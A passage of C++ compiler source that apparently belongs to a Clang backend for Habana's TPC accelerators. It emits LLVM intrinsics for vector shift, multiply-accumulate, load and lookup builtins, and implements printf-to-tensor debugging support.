*Src = CGF->EmitScalarExpr(E->getArg(SrcOpNum));\n Args.push_back(Src);\n if (WithMask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(SrcOpNum)->getType())));\n Args.push_back(llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (!WithMask && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n if (WithMask) {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_not_mask,\n { Src->getType() });\n } else {\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_not,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n }\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// int64 v_i32_shr_b(int64 a, int64 b, int switches, int64 income, bool predicate, bool polarity);\n// int5 i_i32_shr(int5 a, int5 b, int dimmask, const int switches, int5 income, bool predicate, bool polarity);\n//\nstatic Value *emit_Shift(CodeGenFunction* CGF, unsigned BuiltinID, const CallExpr* E,\n unsigned RegularIntr, unsigned MaskIntr) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned Src1OpNum = 0;\n const unsigned Src2OpNum = 1;\n const unsigned DimMaskOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n bool WithMask = NumArgs == 7;\n assert(WithMask || NumArgs == 6);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Prepare arguments.\n SmallVector<llvm::Value *, 6> Args;\n Value *Src1 = CGF->EmitScalarExpr(E->getArg(Src1OpNum));\n const Expr *Src2Arg = E->getArg(Src2OpNum);\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(Src2Arg))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n Src2Arg = Cast->getSubExpr();\n Value *Src2 = CGF->EmitScalarExpr(Src2Arg);\n Args.push_back(Src1);\n Args.push_back(Src2);\n if (WithMask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(Src1OpNum)->getType())));\n Args.push_back(llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (!WithMask && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n if (WithMask) {\n Callee = CGF->CGM.getIntrinsic(MaskIntr, Src2->getType());\n } else {\n Callee = CGF->CGM.getIntrinsic(RegularIntr,\n { ResultTy,\n Src2->getType(),\n Predicate->getType() });\n }\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\nstatic Value *emit_SHR(CodeGenFunction* CGF, unsigned BuiltinID,\n const CallExpr* E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_Shift(CGF, BuiltinID, E, Intrinsic::tpc_shr, Intrinsic::tpc_shr_mask);\n}\n\nstatic Value* emit_SHL(CodeGenFunction* CGF, unsigned BuiltinID,\n const CallExpr* E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_Shift(CGF, BuiltinID, E, Intrinsic::tpc_shl, Intrinsic::tpc_shl_mask);\n}\n\n\n// int64 v_i32_ash_b(int64 a, char256 b, int switches, int64 income, bool predicate, bool polarity);\n//\nstatic Value* emit_ASH(CodeGenFunction* CGF, unsigned BuiltinID,\n const CallExpr* E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned Src1OpNum = 0;\n const unsigned Src2OpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Prepare arguments.\n Value *Src1 = emitOperand(CGF, E->getArg(Src1OpNum));\n Value *Src2 = CGF->EmitScalarExpr(E->getArg(Src2OpNum));\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(Src1OpNum)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ash,\n { ResultTy,\n Src1->getType(),\n Src2->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src1, Src2, DT, Switches, Income, Predicate, Polarity});\n\n return Result;\n}\n\n\nstatic Value* emit_MSAC(CodeGenFunction* CGF, unsigned BuiltinID,\n const CallExpr* E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const Expr* SrcA = E->getArg(0);\n const Expr* SrcB = E->getArg(1);\n const Expr* SrcC = E->getArg(2);\n const Expr* SrcD = E->getArg(3);\n const Expr* Sw = E->getArg(4);\n\n if (auto * Cast = dyn_cast<ImplicitCastExpr>(SrcB))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n SrcB = Cast->getSubExpr();\n if (SrcB->getType()->isVectorType())\n if (auto * Cast = dyn_cast<ImplicitCastExpr>(SrcD))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n SrcD = Cast->getSubExpr();\n\n SmallVector<llvm::Value*, 9> Args;\n Args.push_back(CGF->EmitScalarExpr(SrcA));\n Args.push_back(CGF->EmitScalarExpr(SrcB));\n Args.push_back(CGF->EmitScalarExpr(SrcC));\n Args.push_back(CGF->EmitScalarExpr(SrcD));\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(SrcA->getType())));\n Args.push_back(CGF->EmitScalarExpr(Sw));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(5)));\n Args.push_back(emitPredicate(CGF, E->getArg(6)));\n Args.push_back(/* Polarity */ CGF->EvaluateExprAsBool(E->getArg(7)));\n\n Function* Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_msac,\n { Args[6]->getType(),\n Args[1]->getType(),\n Args[3]->getType(),\n Args[7]->getType() });\n Value* Result = CGF->Builder.CreateCall(Callee, Args);\n assert(Result);\n return Result;\n}\n\n\n// ----- Printf Tensor support\n#define PRINTF_START_MARKER 0xcdcdcdcd\n#define PRINTF_END_MARKER 0xffffffff\n\nstatic llvm::Value *PrintIndexMetadata;\n\nstatic void setTPCPrintfIndex(CodeGenFunction *cgf) {\n static StringRef TPCPrintfIndexName;\n if (TPCPrintfIndexName.empty()) {\n ASTContext &C = cgf->getContext();\n IdentifierInfo &CII = C.Idents.get(\"__PrintfTensorIndex\");\n DeclContext::lookup_result res = C.getTranslationUnitDecl()->lookup(&CII);\n assert(res.size() == 1);\n VarDecl *VD = cast<VarDecl>(res.front());\n StorageClass SC = VD->getStorageClass();\n if (SC == StorageClass::SC_Register && VD->hasAttr<AsmLabelAttr>()) {\n AsmLabelAttr *Asm = VD->getAttr<AsmLabelAttr>();\n TPCPrintfIndexName = Asm->getLabel();\n LLVMContext &Context = cgf->CGM.getLLVMContext();\n llvm::Metadata *Ops[] = {llvm::MDString::get(Context, TPCPrintfIndexName)};\n llvm::MDNode *RegName = llvm::MDNode::get(Context, Ops);\n PrintIndexMetadata = llvm::MetadataAsValue::get(Context, RegName);\n /* initialization can't be in the 1st printf location,\n * as 1st printf can be in any construct loop, if ...\n * look PrintFindex init in TPCREgisterInfo.cpp\n // to zero all dimensions\n auto Builder = cgf->Builder;\n llvm::Type *Int5Ty = llvm::VectorType::get(cgf->Int32Ty, 5);\n llvm::Type *Types[] = {Int5Ty};\n llvm::Function *F =\n cgf->CGM.getIntrinsic(llvm::Intrinsic::read_register, Types);\n llvm::Value *Call = Builder.CreateCall(F, PrintIndexMetadata);\n\n llvm::Type *BitTy = llvm::IntegerType::get(cgf->getLLVMContext(), 1);\n Value *SetIndx = cgf->CGM.getIntrinsic(Intrinsic::tpc_set_indx);\n Value *Mask = llvm::ConstantInt::get(cgf->Int32Ty, 0x1f);\n Value *Val = llvm::ConstantInt::get(cgf->Int32Ty, 0);\n Value *Switches = llvm::ConstantInt::get(cgf->Int32Ty, 0);\n Value *Pred = llvm::ConstantInt::get(BitTy, 1);\n Value *Polarity = llvm::ConstantInt::get(BitTy, 0);\n Value *Init = cgf->Builder.CreateCall(\n SetIndx, {Call, Mask, Val, Switches, Pred, Polarity});\n llvm::Function *Fw =\n cgf->CGM.getIntrinsic(llvm::Intrinsic::write_register, Types);\n Builder.CreateCall(Fw, {PrintIndexMetadata, Init});\n*/\n } else {\n assert(0);\n }\n }\n}\n\nstatic Value *getint5Printfindex(CodeGenFunction* cgf) {\n setTPCPrintfIndex(cgf);\n auto Builder = cgf->Builder;\n llvm::Type *Int5Ty = llvm::VectorType::get(cgf->Int32Ty, 5);\n llvm::Type *Types[] = {Int5Ty};\n llvm::Function *F = cgf->CGM.getIntrinsic(llvm::Intrinsic::read_register, Types);\n llvm::Value *Call = Builder.CreateCall(F, PrintIndexMetadata);\n return Call;\n}\n\nstatic void set_zero_printf_dim(Value* val_for_zer_dim,CodeGenFunction* cgf) {\n auto Builder = cgf->Builder;\n Constant *Zero = ConstantInt::get(cgf->SizeTy, 0);\n Value *int5coo = getint5Printfindex(cgf);\n Value *Insert = Builder.CreateInsertElement(int5coo, val_for_zer_dim, Zero/*dim*/);\n\n llvm::Type *Int5Ty = llvm::VectorType::get(cgf->Int32Ty, 5);\n llvm::Type *Types[] = {Int5Ty};\n llvm::Function *F = cgf->CGM.getIntrinsic(llvm::Intrinsic::write_register, Types);\n llvm::Value *ArgValue = Insert;\n Builder.CreateCall(F, {PrintIndexMetadata, ArgValue});\n}\n\n\nstatic void AddPrintf1stdim(int numbr, CodeGenFunction* cgf) {\n auto Builder = cgf->Builder;\n Value *int5coo = getint5Printfindex(cgf);\n\n Constant *one = ConstantInt::get(cgf->SizeTy, 1); // now 1st dimension is growing\n Value *content1 = Builder.CreateExtractElement(int5coo, one); // extract 1-dim in int5 vector\n Value *content1_plus_1 = Builder.CreateNSWAdd(content1, ConstantInt::get(cgf->IntTy, numbr));// + numbrt\n Value *Insert = Builder.CreateInsertElement(int5coo, content1_plus_1, one); // put in 1-dim +numbr\n\n llvm::Type *Int5Ty = llvm::VectorType::get(cgf->Int32Ty, 5);\n llvm::Type *Types[] = {Int5Ty};\n llvm::Function *F =\n cgf->CGM.getIntrinsic(llvm::Intrinsic::write_register, Types);\n llvm::Value *ArgValue = Insert;\n Builder.CreateCall(F, {PrintIndexMetadata, ArgValue});\n}\n\nstatic void shiftPrintf1stdim(CodeGenFunction* cgf) {\n AddPrintf1stdim(1, cgf);\n}\n\n// 1111111 & bool256 vecto(mask) => char vector with 1 when was true \nstatic Value *ConvertIfBool(Value* Vecto, CodeGenFunction *cgf) {\n llvm::Type *VectTy = llvm::VectorType::get(cgf->Int8Ty, 256);\n llvm::Type *BitTy = llvm::IntegerType::get(cgf->getLLVMContext(), 1);\n llvm::Type *VPredTy = llvm::VectorType::get(BitTy, 256);\n auto Builder = cgf->Builder;\n Value *charBroadcast = cgf->CGM.getIntrinsic(Intrinsic::tpc_mov, { VectTy, cgf->Int8Ty, BitTy });\n llvm::Type *vector_type = Vecto->getType();\n llvm::Type *element_type = vector_type->getVectorElementType();\n int bitsize = element_type->getPrimitiveSizeInBits();\n if (bitsize == 1) {\n Value *Ones = Builder.CreateCall(charBroadcast, {\n ConstantInt::get(cgf->Int8Ty, 1),\n llvm::ConstantInt::get(cgf->Int8Ty, TPCII::OpType::INT8),\n llvm::ConstantInt::get(cgf->Int32Ty, 0),\n llvm::UndefValue::get(VectTy),\n Builder.getTrue(),\n Builder.getFalse()\n });\n Value *Zeros = Builder.CreateCall(charBroadcast, {\n ConstantInt::get(cgf->Int8Ty, 0),\n llvm::ConstantInt::get(cgf->Int8Ty, TPCII::OpType::INT8),\n llvm::ConstantInt::get(cgf->Int32Ty, 0),\n llvm::UndefValue::get(VectTy),\n Builder.getTrue(),\n Builder.getFalse()\n });\n llvm::Value *mvArgs[6] = {\n Ones,\n Zeros,\n llvm::ConstantInt::get(cgf->Int8Ty, TPCII::OpType::INT8),\n llvm::ConstantInt::get(cgf->Int32Ty, 0),\n Vecto,\n Builder.getFalse()\n };\n Value *movIntr = cgf->CGM.getIntrinsic(Intrinsic::tpc_mov, { VectTy, cgf->Int8Ty, VPredTy });\n Vecto = Builder.CreateCall(movIntr, mvArgs);\n }\n return Vecto;\n}\n\nstatic void printf_vector_element(Value*Vecto, Value*pos, CodeGenFunction* cgf)\n{\n auto Builder = cgf->Builder;\n Vecto = ConvertIfBool(Vecto, cgf);\n llvm::Type *vector_type = Vecto->getType();\n llvm::Type *element_type = vector_type->getVectorElementType();\n int bitsize = element_type->getPrimitiveSizeInBits();\n int NumWords = 32 / bitsize;\n int NShift;\n if (NumWords == 4) { NShift = 2; }\n else if (NumWords == 2) { NShift = 1; }\n else { NShift = 0; }\n Value* Vshift = pos;\n llvm::Type *BitTy = llvm::IntegerType::get(cgf->getLLVMContext(), 1);\n Value *Pred = llvm::ConstantInt::get(BitTy, 1);\n Value *Polarity = llvm::ConstantInt::get(BitTy, 0);\n\n // if type is short need to transform vector into int64t and to shift if needed\n if (bitsize < 32) {\n Vecto = Builder.CreateBitCast(Vecto, llvm::VectorType::get(cgf->Int32Ty, 64));\n //int rightshift = ((nel * bitsize) % 32);\n Value* vproduct = Builder.CreateMul(pos, ConstantInt::get(cgf->IntTy, bitsize));\n Value* Valshift = Builder.CreateAnd(vproduct, ConstantInt::get(cgf->IntTy, 037)); // 11111\n ConstantInt *CI= dyn_cast<ConstantInt>(Valshift);\n APInt apik;\n bool shr_zero = false;\n if (CI) {\n apik = CI->getUniqueInteger();\n if (apik == 0) shr_zero = true;\n }\n if (!shr_zero) {\n Valshift = Builder.CreateVectorSplat(64, Valshift);\n Vecto = Builder.CreateLShr(Vecto, Valshift);\n }\n // and now AND with mask\n unsigned mask = 0;\n if (bitsize == 8) {\n mask = 0xff;\n }\n else if (bitsize == 16) {\n mask = 0xffff;\n }\n else {\n llvm_unreachable(\"Wrong bitsize. It might be 8 or 16 bits\");\n }\n Value* valmask = ConstantInt::get(cgf->IntTy, mask);\n valmask = Builder.CreateVectorSplat(64, valmask);\n Vecto = Builder.CreateAnd(Vecto, valmask);\n // Vecto = Vecto >> n | xxxx;\n vector_type = Vecto->getType();\n }\n\n if (NShift > 0) { // Need to correct Vector Shift by dividing nel\n // optimizing by shift\n Vshift = Builder.CreateAShr(Vshift, llvm::ConstantInt::get(cgf->IntTy, NShift));\n }\n // Vshift - value zero printf dimension\n Value *Minushift = Builder.CreateNeg(Vshift);\n set_zero_printf_dim(Minushift, cgf);\n\n Value *Tensor = llvm::ConstantInt::get(cgf->Int8Ty, cgf->getContext().getPrintfTensor());\n Value *printf_index = getint5Printfindex(cgf);\n // Now writing vector to PrintfTensor\n llvm::Value *stArgs[6] = { printf_index, Tensor, Vecto, llvm::ConstantInt::get(cgf->Int32Ty, 0), Pred, Polarity };\n llvm::Value *stIntrin = cgf->CGM.getIntrinsic(Intrinsic::tpc_st_tnsr, { vector_type });\n (void)Builder.CreateCall(stIntrin, stArgs);\n}\n\n// put scalar value in current position of tensor \n// and shift tensor index in 1st dimension\nstatic void StoreValue(Value* st, CodeGenFunction *cgf) {\n // need to transform scalar to vector\n auto Builder = cgf->Builder;\n llvm::Type* type_st = st->getType();\n int bitsize = type_st->getPrimitiveSizeInBits();\n Value* broad;\n switch (bitsize) {\n case 32: broad = Builder.CreateVectorSplat(64, st, \"printfsplat\"); break;\n case 16: broad = Builder.CreateVectorSplat(128, st, \"printfsplat\"); break;\n case 1:\n case 8: broad = Builder.CreateVectorSplat(256, st, \"printfsplat\"); break;\n default:\n llvm_unreachable(\"Invalid printf type for scalar\");\n }\n\n printf_vector_element(broad/*vector*/, llvm::ConstantInt::get(cgf->Int32Ty, 0)/*position*/, cgf);\n}\n\nstatic void StoreElement(unsigned int S, CodeGenFunction *cgf) {\n Value *St = llvm::ConstantInt::get(cgf->Int32Ty, S);\n StoreValue(St, cgf);\n if (S != PRINTF_END_MARKER) {\n shiftPrintf1stdim(cgf); // write and shift printf_index\n }\n}\n\nstatic void StoreString(StringRef Str, CodeGenFunction *cgf) {\n int LenStr = Str.size();\n int NumElt = LenStr / 4;\n const int *buf = (const int*)Str.data();\n for (int k = 0; k < NumElt; ++k) {\n StoreElement(*(buf++), cgf);\n }\n const char *ch = Str.data();\n unsigned int S = '\\0';\n if (LenStr % 4) {\n int I = LenStr % 4; // 1,2,3\n for (int k = 1; k <= I; ++k) {\n S = S << 8;\n S = S | ch[LenStr - k];\n }\n StoreElement(S, cgf);\n }\n else if (ch[LenStr - 1] != '\\0') {\n StoreElement(S, cgf);\n }\n}\n\n\nValue *CodeGenFunction::EmitTPCBuiltinExpr(unsigned BuiltinID, const CallExpr *E,\n ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n switch (BuiltinID) {\n case TPC::BIto_bool128:\n case TPC::BIto_bool64:\n return emitPredicate(this, E->getArg(0));\n case TPC::BIfrom_bool128:\n case TPC::BIfrom_bool64:\n return emitPredicate(this, E->getArg(0));\n\n case TPC::BIrequire_cpu_goya:\n case TPC::BIrequire_cpu_gaudi:\n return UndefValue::get(Builder.getVoidTy());\n\n case TPC::BIget_index_space_offset:\n return Builder.CreateCall(CGM.getIntrinsic(Intrinsic::tpc_get_index_space_offset), {});\n case TPC::BIget_index_space_size:\n return Builder.CreateCall(CGM.getIntrinsic(Intrinsic::tpc_get_index_space_size), {});\n case TPC::BIprintf_st: {\n getContext().setPrintfIsUsed();\n auto *X0 = E->getArg(0)->IgnoreParenImpCasts();\n StringRef Str = cast<clang::StringLiteral>(X0)->getString();\n StoreElement(PRINTF_START_MARKER, this);\n StoreElement(0, this); // according to spec, must be some value\n StoreString(Str, this);\n StoreElement(PRINTF_END_MARKER, this);\n return Builder.getTrue();\n }\n case TPC::BIprintf_i:\n case TPC::BIprintf_ui:\n case TPC::BIprintf_f:\n case TPC::BIprintf_f8:\n case TPC::BIprintf_h8:\n case TPC::BIprintf_h:\n case TPC::BIprintf_bf:\n case TPC::BIprintf_s:\n case TPC::BIprintf_us:\n case TPC::BIprintf_c:\n case TPC::BIprintf_uc: \n {\n ASTContext &Context = getContext();\n Context.setPrintfIsUsed();\n const Expr *X0 = E->getArg(0)->IgnoreParenImpCasts();\n const Expr *Arg1Exp = E->getArg(1)->IgnoreParenImpCasts();\n Value *X1;\n StoreElement(PRINTF_START_MARKER, this);\n StringRef Str = cast<clang::StringLiteral>(X0)->getString();\n if (isa<ArraySubscriptExpr>(Arg1Exp)) { // printf of subscript .. a[5]\n const ArraySubscriptExpr *Esubs = cast<ArraySubscriptExpr>(Arg1Exp);\n const Expr *expindex = Esubs->getRHS();\n const Expr* ebase = Esubs->getBase();\n // cooking something from expindex\n assert(ebase->getType()->isVectorType() &&\n !isa<ExtVectorElementExpr>(ebase));\n Value* Vecto = EmitScalarExpr(ebase);\n Value* Vnel = EmitScalarExpr(expindex);\n printf_vector_element(Vecto/*vector*/, Vnel/*position*/, this);\n //return Builder.getTrue();\n shiftPrintf1stdim(this); // write and shift printf_index\n }\n else { // printf of terminal expression ( var, number)\n X1 = EmitScalarExpr(Arg1Exp);\n StoreValue(X1, this);\n shiftPrintf1stdim(this); // write and shift printf_index\n }\n StoreString(Str, this);\n StoreElement(PRINTF_END_MARKER, this);\n return Builder.getTrue();\n}\n\n\n case TPC::BIread_lfsr:\n return Builder.CreateCall(CGM.getIntrinsic(Intrinsic::tpc_read_lfsr), {});\n case TPC::BIread_lfsrnc:\n return Builder.CreateCall(CGM.getIntrinsic(Intrinsic::tpc_read_lfsrnc), {});\n case TPC::BIwrite_lfsr:\n return Builder.CreateCall(CGM.getIntrinsic(Intrinsic::tpc_write_lfsr),\n { EmitScalarExpr(E->getArg(0)) });\n // Autogenerated implementation.\n default:\n return emitAutogeneratedIntrinsic(this, BuiltinID, E, ReturnValue, Arch);\n }\n}\n\n\n// This function will be generated by script. But now it is generated manually\n// and it must follow existing code patten.\n//\nstatic Value *emitAutogeneratedIntrinsic(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n switch (BuiltinID) {\n default:\n return nullptr;\n\n //------ Load slot ---------------------------------------------------------\n\n case TPC::BIgen_addr:\n return emit_GEN_ADDR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIprmt_indx:\n return emit_PRMT_INDX(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIset_indx:\n return emit_SET_INDX(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_ld_l:\n case TPC::BIs_bf16_ld_l:\n case TPC::BIs_i32_ld_l:\n case TPC::BIs_u32_ld_l:\n case TPC::BIs_i16_ld_l:\n case TPC::BIs_u16_ld_l:\n case TPC::BIs_i8_ld_l:\n case TPC::BIs_u8_ld_l:\n case TPC::BIs_i1_ld_l:\n return emit_LD_L(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_ld_g:\n case TPC::BIs_bf16_ld_g:\n case TPC::BIs_i32_ld_g:\n case TPC::BIs_u32_ld_g:\n case TPC::BIs_i16_ld_g:\n case TPC::BIs_u16_ld_g:\n case TPC::BIs_i8_ld_g:\n case TPC::BIs_u8_ld_g:\n case TPC::BIs_i1_ld_g:\n case TPC::BIv_f32_ld_g:\n case TPC::BIv_bf16_ld_g:\n case TPC::BIv_i32_ld_g:\n case TPC::BIv_u32_ld_g:\n case TPC::BIv_i16_ld_g:\n case TPC::BIv_u16_ld_g:\n case TPC::BIv_i8_ld_g:\n case TPC::BIv_u8_ld_g:\n return emit_LD_G(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_lookup:\n case TPC::BIv_bf16_lookup:\n case TPC::BIv_i32_lookup:\n case TPC::BIv_u32_lookup:\n case TPC::BIv_i16_lookup:\n case TPC::BIv_u16_lookup:\n case TPC::BIv_i8_lookup:\n case TPC::BIv_f32_lookup_c0:\n case TPC::BIv_i32_lookup_c0:\n case TPC::BIv_u32_lookup_c0:\n case TPC::BIv_i16_lookup_c0:\n case TPC::BIv_u16_lookup_c0:\n case TPC::BIv_i8_lookup_c0:\n case TPC::BIv_f32_lookup_c1c2:\n case TPC::BIv_i16_lookup_c1c2:\n case TPC::BIv_u16_lookup_c1c2:\n case TPC::BIv_i8_lookup_c1c2:\n case TPC::BIv_f32_lookup_1c:\n case TPC::BIv_i32_lookup_1c:\n case TPC::BIv_u32_lookup_1c:\n case TPC::BIv_i16_lookup_1c:\n case TPC::BIv_u16_lookup_1c:\n case TPC::BIv_bf16_lookup_1c:\n case TPC::BIv_f32_lookup_2c:\n case TPC::BIv_i32_lookup_2c:\n case TPC::BIv_u32_lookup_2c:\n case TPC::BIv_i16_lookup_2c:\n case TPC::BIv_u16_lookup_2c:\n case TPC::BIv_bf16_lookup_2c:\n return emit_LOOKUP(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_i8_msac_b:\n case TPC::BIv_i8_msac_vb:\n case TPC::BIv_u8_msac_b:\n case TPC::BIv_u8_msac_vb:\n case TPC::BIv_i16_msac_b:\n case TPC::BIv_i16_msac_vb:\n case TPC::BIv_u16_msac_b:\n case TPC::BIv_u16_msac_vb:\n return emit_MSAC(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIprefetch:\n return emit_PREFETCH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_l_v_vb:\n case TPC::BIv_bf16_ld_l_v_vb:\n case TPC::BIv_i32_ld_l_v_vb:\n case TPC::BIv_u32_ld_l_v_vb:\n case TPC::BIv_i16_ld_l_v_vb:\n case TPC::BIv_u16_ld_l_v_vb:\n case TPC::BIv_i8_ld_l_v_vb:\n case TPC::BIv_u8_ld_l_v_vb:\n case TPC::BIv_i1_ld_l_v_vb:\n case TPC::BIv_f32_ld_l_v_b:\n case TPC::BIv_bf16_ld_l_v_b:\n case TPC::BIv_i32_ld_l_v_b:\n case TPC::BIv_u32_ld_l_v_b:\n case TPC::BIv_i16_ld_l_v_b:\n case TPC::BIv_u16_ld_l_v_b:\n case TPC::BIv_i8_ld_l_v_b:\n case TPC::BIv_u8_ld_l_v_b:\n case TPC::BIv_i1_ld_l_v_b:\n return emit_LD_L_V(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_l_v_low_vb:\n case TPC::BIv_bf16_ld_l_v_low_vb:\n case TPC::BIv_i32_ld_l_v_low_vb:\n case TPC::BIv_u32_ld_l_v_low_vb:\n case TPC::BIv_i16_ld_l_v_low_vb:\n case TPC::BIv_u16_ld_l_v_low_vb:\n case TPC::BIv_i8_ld_l_v_low_vb:\n case TPC::BIv_u8_ld_l_v_low_vb:\n case TPC::BIv_i1_ld_l_v_low_vb:\n case TPC::BIv_f32_ld_l_v_low_b:\n case TPC::BIv_bf16_ld_l_v_low_b:\n case TPC::BIv_i32_ld_l_v_low_b:\n case TPC::BIv_u32_ld_l_v_low_b:\n case TPC::BIv_i16_ld_l_v_low_b:\n case TPC::BIv_u16_ld_l_v_low_b:\n case TPC::BIv_i8_ld_l_v_low_b:\n case TPC::BIv_u8_ld_l_v_low_b:\n case TPC::BIv_i1_ld_l_v_low_b:\n return emit_LD_L_V_LOW(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_l_v_high_vb:\n case TPC::BIv_bf16_ld_l_v_high_vb:\n case TPC::BIv_i32_ld_l_v_high_vb:\n case TPC::BIv_u32_ld_l_v_high_vb:\n case TPC::BIv_i16_ld_l_v_high_vb:\n case TPC::BIv_u16_ld_l_v_high_vb:\n case TPC::BIv_i8_ld_l_v_high_vb:\n case TPC::BIv_u8_ld_l_v_high_vb:\n case TPC::BIv_i1_ld_l_v_high_vb:\n case TPC::BIv_f32_ld_l_v_high_b:\n case TPC::BIv_bf16_ld_l_v_high_b:\n case TPC::BIv_i32_ld_l_v_high_b:\n case TPC::BIv_u32_ld_l_v_high_b:\n case TPC::BIv_i16_ld_l_v_high_b:\n case TPC::BIv_u16_ld_l_v_high_b:\n case TPC::BIv_i8_ld_l_v_high_b:\n case TPC::BIv_u8_ld_l_v_high_b:\n case TPC::BIv_i1_ld_l_v_high_b:\n return emit_LD_L_V_HIGH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_ld_tnsr_b:\n case TPC::BIv_bf16_ld_tnsr_b:\n case TPC::BIv_i32_ld_tnsr_b:\n case TPC::BIv_u32_ld_tnsr_b:\n case TPC::BIv_i16_ld_tnsr_b:\n case TPC::BIv_u16_ld_tnsr_b:\n case TPC::BIv_i8_ld_tnsr_b:\n case TPC::BIv_u8_ld_tnsr_b:\n case TPC::BIv_i1_ld_tnsr_b:\n case TPC::BIv_f32_ld_tnsr_vb:\n case TPC::BIv_bf16_ld_tnsr_vb:\n case TPC::BIv_i32_ld_tnsr_vb:\n case TPC::BIv_u32_ld_tnsr_vb:\n case TPC::BIv_i16_ld_tnsr_vb:\n case TPC::BIv_u16_ld_tnsr_vb:\n case TPC::BIv_i8_ld_tnsr_vb:\n case TPC::BIv_u8_ld_tnsr_vb:\n case TPC::BIv_i1_ld_tnsr_vb:\n case TPC::BIv_f32_ld_tnsr_partial_b:\n case TPC::BIv_bf16_ld_tnsr_partial_b:\n case TPC::BIv_i32_ld_tnsr_partial_b:\n case TPC::BIv_u32_ld_tnsr_partial_b:\n case TPC::BIv_i16_ld_tnsr_partial_b:\n case TPC::BIv_u16_ld_tnsr_partial_b:\n case TPC::BIv_i8_ld_tnsr_partial_b:\n case TPC::BIv_u8_ld_tnsr_partial_b:\n case TPC::BIv_i1_ld_tnsr_partial_b:\n case TPC::BIv_f32_ld_tnsr_partial_vb:\n case 